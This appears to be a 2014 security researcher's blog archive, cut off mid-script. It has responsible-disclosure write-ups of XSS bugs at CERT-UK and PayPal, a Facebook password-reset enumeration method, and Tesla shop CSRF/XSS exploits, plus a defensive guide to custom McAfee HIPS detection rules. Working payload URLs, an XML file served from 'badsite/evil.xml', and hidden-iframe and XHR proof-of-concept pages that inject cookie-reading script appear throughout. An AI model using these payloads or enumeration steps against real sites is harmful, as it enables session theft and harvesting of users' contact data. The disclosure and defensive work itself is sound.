Wednesday, 30 April 2014

CERT-UK Search XSS

Whenever I see an input field I automatically think XSS. So looking at the new CERT-UK website (https://www.cert.gov.uk) I saw they had a search box and straight away thought "XSS?".

Entering a test payload in the search box:



It turns out the search output wasn't properly encoded:



Whenever you find an XSS the next step is obviously to make a pretty "XSS on " + document.domain screenshot right? However I found out they had some character filtering/escaping for quotes and plus signs. But that of course could be bypassed with a little javascript trickery. For example:

https://www.cert.gov.uk/?s="><iframe/onload=a=document.domain;b=String.fromCharCode(88,83,83,32,111,110,32);alert(b.concat(a));>

To get the classic:



I immediately reported the issue to CERT-UK and had a response+fix within a few hours.



I discovered this issue the day the site was released, 31st March. At the request of CERT-UK I delayed the release of this post to allow time to fix any other issues.


Final Thoughts

Another day, another XSS. Being from the UK it did feel a little embarrassing that such an obvious issue got missed but then again it just goes to show whether you are cyber ninja's from CERT-UK or mom+pop pie store from Nebraska, mistakes happen.

Today's lesson is don't trust third party developers when they say everything is secure. Test it yourself (preferably on a regular basis) and verify their claims.

Thanks again to CERT-UK for their fast response, you can follow them here @CERT_UK

Pwndizzle out.

Monday, 31 March 2014

Custom McAfee HIPS Rules That Actually Work

In this post I'm going to talk about McAfee HIPS expert rules and provide some real world examples of ways to actually catch the bad guys.

For more info on McAfee HIPS check the manual (page 101 onwards) here: https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/22000/PD22894/en_US/Host%20Intrusion%20Prevention%20800%20Product%20Guide%20for%20ePO%20450.pdf

Disclaimer - I'm not a malware guru and this post will likely be me trying to reinvent the wheel. If you have any tips or know any good HIPS resources please drop me a comment below!


Catching Bad Guys With HIPS

For an attacker to gain a foothold in your organisation they will need to run code on your systems, drop files and also setup persistence. Without these items they have no foothold. AV usually approaches this problem with a signature blacklist but as we all know this can be easy to evade.

Host intrusion detection/prevention on the other hand, can be more effective because instead of just blocking the known bad you can monitor everything and then remove the good, to find the bad. By whitelisting known good combinations of filenames, locations, processes, registry keys etc. you'll effectively be left with just the bad activity (plus a small number of false positives).


Hey I use McAfee too!

McAfee produce a HIPS product that uses a kernel-level driver to monitor system calls, if specific criteria are met you can either create an alert or block the activity. Like most security products the default signatures are out-dated and prone to false positives. What's more, as they are proprietary the actual signature content is neither visible or modifiable, making tuning and investigation tough.


Luckily McAfee allow you to create your own custom rules using a limited subset of system calls related to files, the registry, processes and a few other things. Sadly McAfee don't let you monitor arbitrary system calls like Ambush IPS.

Implementation sidenote - Avoid filtering HIPS alerts using "Exception Rules" they're just messy, use custom rules instead and avoid "Access Protection" rules they don't offer enough granularity.


The Expert Template

To create a new HIPS rule in McAfee EPO go to Policy Catalog -> Product: Host Intrusion Prevention -> Category: IPS Rules, select your IPS rules policy then click "New" to add a custom rule. Under the subrules tab select "New Expert Rule". Expert rules are more customisable and easier to manage so I would definitely recommend using them over basic rules. (Although it can be useful creating basic rules and clicking the preview button, as this will give you the basic code needed for the expert rule.)

The template that most rules follow is something like the following:

Rule {
 tag <tagname>
 Class <either File/Registry/Service/Process>
 Id <ID assigned by EPO>
 level 3
 attributes -no_trusted_apps
 <class value> { Include "<something>" }
 <class value> { Exclude "<something>" }
 Executable { Include "*" }
 Executable { Exclude { -path "<something>"} } 
 user_name { Include "*" }
 directives <class:action1> <class:action2>
}

All parameters in angle brackets < > should be replaced with values. Starting from the top, name and ID are self explanatory, you need to save the rule and an ID will be assigned that you can add to the rule later. The level is the severity from 0 to 4 (informational to high) The "Class" depends on what type of rule you want to create, I'll cover some examples below. There will be specific inclusions and exclusions for the class. You can also define specific executables you either want to include or exclude from monitoring. Finally the "directives" part defines the specific actions (API calls) we want to watch, for example, file creation will be "files:create".

Wildcards: & = everything except slashes (so no path traversing), * = everything including slashes.
Both are useful for different situations and balancing extra visibility with false positive reduction.


File Activity

99% of the bad guys in the world today will write files to disk for functionality and persistence reasons. For a defender that's awesome as we now have a way to detect when a machine is compromised.

Attacker Tip: Don't write files to disk, do everything in memory!

McAfee HIPS supports monitoring of file create, read, write, execute, delete, renaming, attribute modification and hardlink creation. We just need to define which file path/type we want or don't want to alert on and any executables we want to include (known bad sources) or exclude (known creators of false positives).

Below is a basic file monitoring template that looks for all exe's and dll's created in system32:

Rule {
 tag file_create_write
 Class Files
 Id 4001
 level 3
 attributes -no_trusted_apps
 files { Include "C:\\Windows\\System32\\&.dll" "C:\\Windows\\System32\\&.exe" }
 files { Exclude "C:\\example\\exclude" }
 Executable { Include "*" }
 Executable { Exclude { -path "c:\\Windows\\System32\\MRTSTUB.exe" } { -path "C:\\Windows\\System32\\SPOOLSV.EXE"} } 
 user_name { Include "*" }
 directives files:create files:write
}

In the "files" section you can see how you just "Include" the path you're interested in surrounded by quotes. The ampersand acts as a wildcard and remember to use double slashes in paths! I ignore ("Exclude") any file created by mrtstub.exe or spoolsv.exe as these guys generated more false positives than true positives.

Creating any rule is a balancing act between greater visibility and false positive reduction. To improve the effectiveness and accuracy of signatures it helps to focus on known bad locations, extensions and processes. I've included some suggestions below (Microsoft has a location list here):

Potentially bad extensions:
exe, dll, bat, pif, scr, com, ps1, vbs, vbe, js, lnk, tmp, jar, class, jnlp, doc(x), xls(x), pdf

Potentially bad locations:
C:\Windows
C:\Windows\System32\*
C:\Windows\System32\drivers
C:\Program Files

Win7 specific:
C:\Program Files(x86)
C:\Windows\SysWOW64
%Temp% = C:\Users\<user>\AppData\Local\Temp
%Appdata% = C:\Users\<user>\AppData\Roaming
%ProgramData% = C:\ProgramData
C:\Users\<user>\AppData\LocalLow\Sun\Java\Deployment\cache
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

WinXP specific:
%Temp% = C:\Documents and Settings\<user>\Local Settings\Temp
%Appdata% = C:\Documents and Settings\<user>\Application Data
C:\Documents and Settings\<user>\Application Data\Sun\Java\Deployment\cache
C:\Documents and Settings\<user>\Start Menu\Programs\Startup

Potentially exploitable executables:
Java = C:\Program Files (x86)\Java\jre7\bin\java.exe
Javaw = C:\Program Files (x86)\Java\jre7\bin\javaw.exe
Internet Explorer = C:\Program Files (x86)\Internet Explorer\iexplore.exe
Microsoft Office = C:\Program Files (x86)\Microsoft Office\Office*\<product>.exe
Adobe Reader = C:\Program Files (x86)\Adobe\Reader *\Reader\AcroRd32.exe

Executables malware might inject into:
svchost.exe, explorer.exe, rundll32.exe, winlogon.exe, notepad.exe

Putting this all together we get some interesting use cases:
  • Java applet loaded, java.exe creates .idx or .class file in Java cache
  • Malware running from svchost.exe drops exe/dll in %Temp% 
  • New files added to startup folder or scheduled tasks created for persistence
  • Rootkit (*.sys) dropped in drivers folder
  • Unusual files (bat, pif, scr, com, vbs, vbe) created in, or executed from %Temp% and %Appdata%
Bare in mind that if the attacker migrates processes the exploited programs themselves may not drop malware, so if possible don't restrict the rule to a specific source executable. As a real life example a Java exploit I analysed this week used svchost.exe to drop a payload triggering a rule similar to this:

Rule {
 tag svchost_create_exe
 Class Files
 Id 4002
 level 3
 attributes -no_trusted_apps
 files { Include "C:\\Users\\&\\AppData\\*.exe" }
 files { Exclude "C:\\example\\exclude" }
 Executable { Include { -path "C:\\WINDOWS\\SYSWOW64\\SVCHOST.EXE" } }
 Executable { Exclude { -path "c:\\example\\exclude" } } 
 user_name { Include "*" }
 directives files:create files:write
}


Registry Activity

The registry is another favourite area for attackers to target because of persistence and access to system settings. There are loads of persistence locations, I've included some below but a lot of the time malware will go for the really obvious CurrentVersion\Run. It can also be useful to look for changes to things like windows update, firewall or security centre.

Using HIPS we can monitor registry activity to detect the creation/access of keys at known sensitive locations. McAfee supports monitoring of create, read, delete, modify, permissions, enumerate, monitor, restore, replace, load, and rename system calls.

A basic registry monitoring template is below:

Rule {
tag "HKLM/HKCU Wscript Run Value"
Class Registry
Id 4003
level 3
Executable { Include { -path "c:\\windows\\system32\\wscript.exe" } }
values { Include "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" }
values { Exclude "\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\SYNCHRONIZATION MANAGER" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\CTFMON.EXE" }
directives registry:create 
}

In this rule I'm looking for suspicious registry entries created by wscript, which is useful for detecting the vbs malware mentioned in my previous posts. I've included multiple registry run locations where malware will often create entries and excluded some false positives. Note that McAfee uses a slightly different syntax for registry paths, HKEY_LOCAL_MACHINE = MACHINE and HKEY_CURRENT_USER = CURRENT_USER.

Below are some common registry locations in ready to use McAfee format, a more comprehensive list can be found here and for comparison there is a real life ZeroAccess example here.

Common persistence locations:

\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs\\&
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\&
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\&
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&\\Parameters\\ServiceDLL\\&

Windows Firewall 
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy
Windows Security Centre
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wscsvc
Windows Update
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv

Above are the HKLM entries, you can specify equivalents for HKCU (or use the & to cover both) e.g.
\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&


What about Programs?

The McAfee programs class covers new process creation (program:run or CreateProcess) and opening of existing processes with specific permissions (program:open_with_x or OpenProcess). Program:run can let you to track potential malware executing from the %temp% or %appdata% folders (Target_Executable { Include { -path "C:\\Users\\&\\AppData\\Roaming\\*.exe"}}) or even track the use of built-in utilities such as Powershell or Remote Desktop.

For example to track Powershell usage but exclude a known admin user:

Rule {
tag "Powershell execution"
Class Program
Id 4004
level 3
Target_Executable { Include { -path "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" } \
{ -path "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" }
}
user_name { Exclude "domain\\john" }
directives program:run 
}

OpenProcess is often used when performing code injection, the catch is that it's also used by legitimate programs. You can try detecting code injection of explorer.exe for example by using the open_with_ directive, this Intel post has a good explanation but be wary of the false positives.

Taken from the link above the directive permissions you'll want are:

PROCESS_VM_OPERATION      // For VirtualAllocEx/VirtualFreeEx
PROCESS_VM_WRITE                // For WriteProcessMemory
PROCESS_CREATE_THREAD     // For CreateRemoteThread


Hooking (SetWindowsHookEx)

SetWindowsHookEx can be used nefariously for both DLL injection and hooking (interception of function calls, events or messages within a process). There's a great explanation on the Volatility blog here.

McAfee HIPS supports monitoring of SetWindowsHookEx usage and can alert you to potential dll injection/hooking attempts. To detect browser keylogging we can use a rule like the following:

Rule {
 tag browser_hook
 Class Hook
 Id 4005
 level 3
 attributes -no_trusted_apps
 Executable { Include { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES (X86)\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES\\MOZILLA FIREFOX\\FIREFOX.EXE" } { -path "C:\\PROGRAM FILES (X86)\\MOZILLA FIREFOX\\FIREFOX.EXE" }}
 Executable { Exclude { -path "C:\\example\\exclude" } } 
 Handler_Module { Exclude { -path "C:\\WINDOWS\\SYSTEM32\\MSHTML.DLL" } { -path "C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\MSCTF.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\EXPLORERFRAME.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEDVTOOL.DLL"} { -path "C:\\WINDOWS\\SYSWOW64\\SHELL32.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\SHELL32.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE"} { -path "C:\\PROGRAM FILES\\MICROSOFT\\INTERNET EXPLORER DEVELOPER TOOLBAR\\IEDEVTOOLBAR.DLL"} { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE"} }
 user_name { Include "*" }
 directives hook:set_windows_hook
}

You'll likely see DLL's being loaded for all kinds of different browser extensions and toolbars. Apart from browser hooking I haven't really tested this rule with other use cases, would love to hear some suggestions.


And finally...services!

The final type of rule I'll cover is related to services. Services offer another persistence mechanism for malware to abuse and interestingly are also used during lateral movement with psexec (see Metasploit psexec here - you could also monitor file creation/execution in ADMIN$).

I found new service creation to be relatively infrequent so easy to monitor for suspicious activity. The following rule will catch new service creation - I've excluded some false positives:

Rule {
tag "New service created"
Class Services
Id 4006
level 3
display_names { Include "*" }
display_names { Exclude "GUPDATE" "GUPDATEM" "MOZILLAMAINTENANCE" "JAVAQUICKSTARTERSERVICE" "IPOD SERVICE"}
directives services:create 
} 


Monitoring your rules

With all your rules created, deployed and churning out events we obviously need some way to monitor the events. SIEM is the best choice but if EPO is your only option then you'll need to create a custom query.

I created a query with the following properties:
  • Result: Type set to Events -> Threat Events.
  • Chart: Use a Multi-group Summary Table. Labels -> Threat Name and Signature Name.
  • Columns: Make sure to include Threat Name and Signature Name.
  • Filter: Event ID 18000, 18001, 1092. Threat Name equal to your signature ID e.g. 4001
This query should give you a list of your signatures and how often they have triggered.


Final Thoughts

Creating custom HIPS rules isn't always easy, it takes time to develop use cases and you will get a lot of false positives that will need to be tuned out. Once perfected though custom rules can give you some great visibility of activity on your systems and also highlight areas for improvement (better email or web proxy filtering, tighter folder/registry access restrictions etc.).

Evil-minded readers may have already spotted the obvious that it is easy to evade HIPS rules by either using system calls not monitored by HIPS or by using files/locations/processes/services that have been excluded (whitelisted) in the rule. The answer really is to use a product that sees and logs everything (not Mcafee).

I'd love to hear feedback from you guys about HIPS rules that do/don't work and specific files, locations, activity you've found useful, drop me a comment below. And remember, if in doubt, log it all, you can always filter later :)

Pwndizzle out.


Wednesday, 12 March 2014

Paypal xmlPath SWF XSS and DOM Based XSS

Back in November 2012 I reported two XSS issues to Paypal, one was a vulnerable SWF on personal.paypal.com and the other was a DOM XSS in paypalobjects.com.

It's taken months and months but with the issues now fixed I wanted to finally publish this post. Enjoy!


Iframe Src XSS

While poking around Paypal I came across a help files section. Straight away my bounty hunter senses started tingling as the site looked pretty old and poorly designed. After a quick parse with Dominator it detected a really simple DOM based XSS issue:


The page contained Javascript that would write the location hash value directly into an iframe source without any kind of filtering.


To exploit you'd just use the following:

https://www.paypalobjects.com/en_US/vhelp/paypalregistration_help/paypalregistration_help.htm#javascript:alert(1)

Because paypalobjects was a separate domain to the main Paypal site there was no way to access session data/launch attacks from the main Paypal domain. And for phishing paypalobjects is a really unconvincing name so I'd argue this was relatively low risk issue.


Playing with SWFs

Knowing how easy it can be to exploit SWF's I did some Googling and went through the SWF files Paypal were using. After analyzing a few I found a SWF that used a remote xml file to define the links used within the page.

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.xml

The SWF started by loading the xmlPath variable (included in the URL). If no path was supplied a default was used instead.

Next the path was checked using the isDomainEnabled function.

In the code below you can see how url.indexOf is used to test for the presence of http or www, 4294967295 is returned if the string is not found. If http:// is not found and www is found then our URL is checked to see if it matches a domain whitelist or not. The logic here is just messy and easy to evade using https instead of http in the xmlPath.


Once past this check, myXML.load(path) completes and now within the button onPress event the getURL will be performed on our xml values.

The real Paypal xml file looked like this:

<links>
<link uri="https://personal.paypal.com/il/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_il/PayPal_FAQ"/>
<link uri="http://www.youtube.com/watch?v=UsOTILPwegg"/>
</links>

I created my own xml file and added javascript for links.

<links>
<link uri="javascript:alert(1)"/>
<link uri="javascript:alert(1)"/>
</links>

And created a crossdomain.xml that allows all, so the swf could access my xml file.

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

Now to exploit our Paypal user all we do is send a link pointing to our xml file:

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=https://badsite/evil.xml

And if the user clicks any of the buttons they get pwned:




Final Thoughts

I wasn't the first person to report either of these issues and they've been on the site so long I'm sure a lot of bounty hunters have already seen them. Basic coding errors were to blame in both instances and could have been solved by using proper input filtering/whitelisting.

Hope you guys found this post interesting, any questions or feedback, drop a comment below!

Pwndizzle out.

Friday, 7 February 2014

Brute Forcing Your Facebook Email and Phone Number

Today I'm going to talk about the Facebook password reset page and a series of flaws that allowed anyone to brute force a user's primary email or mobile phone number.

TL;DR Iterate over phone numbers/emails, dump valid but anonymous data, use manual/automated enumeration to find specific owners.


Forgot my password...

To perform a password reset on Facebook you first have to find your account. You can conveniently search by either your email, phone, id, username or full name.



If the account has used your ip range before, you will be shown the username, picture of the user, obfuscated email and obfuscated phone number and from here you can choose how you want to reset your password.

Once you press continue Facebook will send you a one time password reset link/code that can be used to change your password. 


Under the hood

When you press that first "Search" button, two requests are sent.

- Request #1 (POST /ajax/login/help/identify.php?ctx=recover) seems to be an initial check to verify if the data you are requesting actually exists. If it does, a cookie is set and you are redirected (Request #2). If it doesn't exist you are given an error message.

- Request #2 (GET /recover/initiate) if you are redirected, the request passes the cookie from step one and the server will give you the password reset info, name/image/email/phone.

So where are the flaws?


Issue #1 Verify information through look-up


Did you notice how we were able to search for an arbitrary user/email/phone number and obtain the username/image/obfuscated data? The lookup feature
fundamentally contains and operates using an information disclosure vulnerability. We're able to gain limited information about specific users we're not friends with and even evade privacy settings.

Using Request #1 we can effectively ask the Facebook server does this email/phone number exist in your database? And the server will reply yes or no. It won't however tell us who the owner is. This kind of information disclosure is present in a number of features on Facebook.

Using Request #2 we can ask the server who the specific owner of a particular phone/email is and the server will tell us. Awesome, but there are some server-side checks which mean this information is only disclosed (i think) if you have a specific cookie, user-agent or if the request is coming an ip range the account has used before. So user lookups are still possible with Request #2 but you'll only be able to find users who've used your ip range. Example below.

Invalid IP - Searching by email, our email is echo'ed back but username is not given as the account has never logged in from my network.


Valid IP - After logging in, again searching by email we see the email, but this time we are also given the username and image.



Issue #2 No throttling of requests

For Request #1 no throttling mechanism was used. This meant it was possible to repeatedly query the Facebook server, effectively allowing mass collection of valid users/emails/phone numbers (a spammers dream come true).

If you send Request #2 too often you'll hit a captcha, but not a hard cap. So for a determined attacker they could just repeatedly enter the captcha.


Issue #3 Obfuscation fail


Although it may seem trivial, by giving away two characters plus the domain for email addresses and four out of eleven characters for phone numbers Facebook had made these parameters significantly easier to brute force.

Take my phone number for example. My number is 11 digits long. The first four digits are from the carrier and for most countries there will be a small number of possibilities (50 in my case). Facebook have told us the last four digits. So my 11 digit number (99,999,999,999 possible combinations) has been reduced to 11 - 4 (FB) - 4 (Carrier) = 3 digits (1000 possible combinations per carrier range!).

The same applies to email addresses although they are harder to guess because of the larger search space.


Putting it all together...

Taking advantage of the issues above it is possible to effectively brute force a specific user's phone number or email. For a phone number the attack goes like this:
  1. Get on an ip range that your target has recently used
  2. Search for the user by id, username or email
  3. Obtain the last four digits of the phone number
  4. Search the entire number space (with Request #1) and build a list of possible numbers
  5. Re-submit numbers one by one (Request #1 and Request #2), manually entering the captcha
  6. Eventually one of the numbers will show you the reset page for your target, which tells us that number is the targets number!



So lets see some of this stuff in action...


Enumerating everything!

The simplest attack is just to enumerate everyone/everything. You won't know the owners of the emails/phone numbers but you'll still know they are valid and are being used by a Facebook user.

All we need to do for enumeration is send the following POST request containing our guess, which can be a user/email/phone number.


Using Burp Intruder I performed two tests, one where I found valid phone numbers, another where I found valid emails. The first payload I used looked like this <carrier><payload><3362>. Responses of 809 indicate invalid numbers while 1081/1102 indicate valid numbers.


For email testing I submitted the payload johnsmith<number>@gmail.com. Same as before, 809 indicates invalid emails where as 1102/1123 indicates valid emails.


And because there is no captcha or throttling we can just keep going and going until we've found every email/phone number registered with Facebook and spam/spear phish them all :)


Targeted Pwnage

Although a targeted attack is harder, it's still possible with a little preparation. To demonstrate, I'll attempt to find the phone number for my target user mark.zockerberg.54.

First up, to evade the Facebook checks we'll need to attack from an ip in a range that our target has recently used. Next we'll need some way to identify our user - id, name, username and email/phone number are all options. I start off by searching for the username in the request below:



The response from this request will redirect us to the page with basic user data: 


Using the 4 digits from Facebook and mobile carrier ranges obtained from Google I now start searching for potential numbers that our user could be using:


Scanning every carrier range (changing 0926 for 0927, 0928 etc.) we will get a reasonably small list of potential numbers.


Because of the captcha on Request #2 we can't automate number to name enumeration, so the only way to convert all of our numbers to users is by manually searching and completing the captcha. Assuming you have 300 numbers and it takes you 15 seconds to enter the captcha for each number, it will take just over an hour to check them all. Eventually one of the numbers you enter will lead you back to the password reset page for your target, effectively confirming that the number belongs to that user!

If there was no captcha or you had a bypass you'd be able to automate username lookups something like the following:


Here I converted the sfiu cookie direct to user and you can see we get our user Mark Zockerberg (the captcha kicks in right after)

The techniques I used above could also have been used to find a user's email address. Although with emails containing both letters and numbers the search space is a lot larger, e.g. email with 8 characters = 36^8 combinations! With that said, a lot of users will use emails that contain dictionary words or their names, so it may not actually be that hard. Also for an attacker targeting a specific company he could dump emails from their website/google and run those addresses through the password reset to locate and then target their employees, could provide some interesting results.


Final Thoughts


The classic email password reset can and is often implemented completely securely with no information disclosure. Both Google and Facebook however have created multi-step resets that involve information disclosure. For me it just doesn't sit well and I suspect we might see changes in the future.

To mitigate the attacks discussed above Facebook reduced the phone number digits disclosed from four to two and implemented a captcha check for Request #1. The fundamental issue of providing a look-up feature though has not been modified. So if you have a botnet or captcha bypass (watch this space!) you can still dump valid numbers and emails.

I hope you guys have enjoyed this post, questions, comments, are always appreciated.

Pwndizzle over and out

Friday, 31 January 2014

Tesla Shop CSRF/XSS And Multiple POST Requests

Back in November Tesla announced they were starting a bug bounty program. I took a quick look and came across a few CSRF and XSS issues in their shop site. Although the vulnerabilities themselves were nothing special, to instantly trigger the XSS required multiple POSTs.

In this post I'll look at some of the potential exploit techniques in Chrome v32.

TL;DR XSS using iframes, window.open, pop-unders and boobs!


The Tesla store and it's vulns

The Tesla shop (http://shop.teslamotors.com/) was missing CSRF tokens/headers, X-Frame-Options and also the VIN parameter (vehicle identification number?) was susceptible to stored XSS.

The cart and VIN number

If you entered an XSS payload in the VIN field and then proceeded to the checkout the VIN would be stored on the cart page. The next time the user visited the cart page the XSS would be triggered. To exploit all we'd need to do is build a malicious page with a form containing our XSS payload that is auto-submitted when the user loads our page. Easy right?

<form name="csrf_form" action="http://shop.teslamotors.com/cart" method="POST">
<input name="updates[]" type="hidden" value="1">
<input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'>
<input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form>
<script>document.csrf_form.submit();</script>


Although this would work the payload wouldn't trigger until the user actually visited the cart page and also if the user didn't have any items in their cart the VIN wouldn't load successfully.


Instant XSS Pwnage with iframes

To instantly and reliably trigger the XSS I would need to get the user to:
  1. Add an item to their cart 
  2. Add an XSS payload as a VIN number
  3. Make them visit their cart to trigger the XSS 
There are a number of ways to send POST requests. The easiest option was to use three iframes and some timers to send the requests one by one. Each submission will occur in a separate iframe, leaving the malicious page in-tact and using width/height zero iframes the user won't see anything happening. Example code:

<iframe id=iframe1 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe2 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe3 width=0 height=0 frameborder=0></iframe>
<script>
setTimeout(function(){document.getElementById('iframe1').contentWindow.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');},100);

setTimeout(function(){document.getElementById('iframe2').contentWindow.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');},3000);

setTimeout(function(){document.getElementById('iframe3').src='http://shop.teslamotors.com/cart'},6000);
</script>


Or we can crack out the XHR which allows us to send requests directly from our javascript and then get the XSS to trigger in an iframe (a GET using XHR wouldn't work as the site was missing Access-Control headers) something like this:

<script>
function xhrcsrf(){
//Add item to cart
var http = new XMLHttpRequest();
http.open("POST", "http://shop.teslamotors.com/cart/add" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.send("id=47210232");
//Add XSS payload as VIN
setTimeout(function(){
http.open("POST", "http://shop.teslamotors.com/cart" , true);
http.send("updates[]=1&attributes[your-VIN]=\"><iframe/onload=alert(document.cookie)>&note=&checkout=Checkout");
},1000)
//Visit cart part to trigger XSS
setTimeout(function(){document.write('<iframe src="http://shop.teslamotors.com/cart" width=0 height=0 frameborder=0/></iframe>')},3000);
}
xhrcsrf();
</script>

And running either POC you get the much loved alert window+cookie:


In terms of impact the CSRF/XSS seemed to be low risk as you just gain access to the cart, the more juicy payment and user session data is unfortunately held on the shopify site with the checkout. But what about other exploitation techniques? How about if the user had somehow disabled iframes? :o
 

BONUS - Non-iframe POC!

While building the first POC I got to thinking about non-iframe and non-XHR possibilities. Without iframes there are a number of problems to overcome:
  • On a single page you can't submit multiple forms simultaneously.
  • Submitting a form will take the user to the new page, away from our malicious page.
  • It's not possible to auto create new windows with javascript, without user interaction e.g. onclick
  • Even with user interaction you can't create multiple new windows as the pop-up blocker will block additional windows.
  • Chrome will focus any new window making user interaction on the malicious page difficult to maintain.
  • Pop-unders are often prevented by Chrome.
So what's the answer?


Multiple POSTs Multiple Windows

My first idea was to open new windows, document.write my code and my POST requests would be sent leaving my malicious page intact. Unfortunately window.open requires user interaction (onclick, onkeypress etc.) to evade the pop-up blocker.

<script>window.open();</script>


To get my three new windows (add item to cart, add VIN no, visit cart page) I'd need the user to click/type three times to evade the pop-up blocker. Once created I could write my code, the POSTs would be sent and I could close them. Something like this:

<script>
i=0;
function openWin(){
 if(i==0){
  var win1 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
  setTimeout(function(){win1.close()},2000);
  i++;
 }else if(i==1){
  var win2 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win2.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');
  setTimeout(function(){win2.close();},2000);
  i++;
 }else if(i==2){
  var win3 = window.open("http://shop.teslamotors.com/cart","win3","left=5000,top=5000,width=10,height=10");
  setTimeout(function(){win3.close();},2000);
 }
 document.getElementById("but").innerHTML= "Press me " + (3-i) + " times!";
}
</script>
<button id="but" onclick="openWin()">Press me 3 times!</button>


The POC worked ok but you'd see windows appear and disappear in the bottom right:


Wouldn't it be better if the windows didn't show up at all?


Pop-under?

One option is a pop-under which will open as a new tab but keep focus on the malicious page. Using the code from here it's possible to simulate a click event on a link and achieve a pop-under:

<button onclick="popunder()">Click me!</button>
<a href="/evil.html" target="blank" id="linky"></a>
<script>
function popunder(){
var a=document.getElementById("linky");
var e=document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,window,0,0,0,0,0,true,false,false,true,0,null);
a.dispatchEvent(e)
}
</script>

The catch with this technique is that I couldn't find a way to interact with the new window. I could easily host my malicious code in another page and load that no problem. But then there was no way to close the window once the POST was sent so the user would be left with three new open tabs. Not sure if this is a security feature or I'm missing the obvious! Suggestions are welcome :)


How to stay focused?

Going back to the first technique of creating new windows the underlying problem was focus.


I needed to somehow keep the user on the page while simultaneously opening and closing windows in the background. One possibility I discovered was using alert() to effectively create a pop-under, something like the following:

<button onclick=newwin();>Click!</button>
<script>
function newwin(){
var myWindow1 = window.open("","myWindow1","width=10,height=10");
myWindow1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
